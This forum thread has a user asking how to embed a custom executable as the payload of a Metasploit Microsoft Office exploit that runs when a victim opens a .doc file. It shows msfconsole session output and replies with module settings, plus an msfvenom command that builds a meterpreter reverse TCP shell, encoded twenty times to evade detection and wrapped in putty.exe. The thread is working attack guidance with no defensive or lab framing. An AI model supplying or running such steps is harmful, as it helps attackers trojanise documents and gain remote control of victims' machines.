Forum Thread: How Do I Load My Own Custom Exe as a Payload?

I have my exploit already but I don't want to use any meterpreter payload. I want to use putty.exe as for example. How would I do that?

Basically the exploit I am using is an Microsoft Office exploit how it works is when the target opens the doc file the payload executes.

6 Responses

I want to add a exe to my document file I am using this exploit

odule options (exploit/windows/fileformat/ms12027mscomctl_bof):

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.doc yes The file name.

Exploit target:

Id Name
-- ----
0 Microsoft Office 2007 no-SP/SP1/SP2/SP3 English on Windows XP SP3 / 7 SP1 English

msf exploit(ms12027mscomctl_bof) > set FILENAME test.doc
FILENAME => test.doc
msf exploit(ms12027mscomctl_bof) > show options

Module options (exploit/windows/fileformat/ms12027mscomctl_bof):

Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME test.doc yes The file name.

Exploit target:

Id Name
-- ----
0 Microsoft Office 2007 no-SP/SP1/SP2/SP3 English on Windows XP SP3 / 7 SP1 English

msf exploit(ms12027mscomctl_bof) > use payload/generic/custom
msf payload(custom) > show options

Module options (payload/generic/custom):

Name Current Setting Required Description
---- --------------- -------- -----------
PAYLOADFILE no The file to read the payload from
PAYLOADSTR no The string to use as a payload

msf payload(custom) > set PAYLOAD FILE /root/Downloads/putty.exe

  • The value specified for PAYLOAD is not valid.

msf payload(custom) > /root/Downloads/putty.exe
* exec: /root/Downloads/putty.exe

Oh, I misunderstood what you wanted to do.

set PAYLOAD generic/custom
set PAYLOADFILE /path/to/payload

try this command instead of "set PAYLOAD":
set EXE /root/Downloads/putty.exe
I'm not sure though, but give it a shot, maybe it's your lucky day

You could do msfvenom -p windows/meterpreter/reversetcp lhost=192.168.1.2 lport=4444 -e x86/shikataga_nai -i 20 -t putty.exe

Share Your Thoughts

  • Hot
  • Active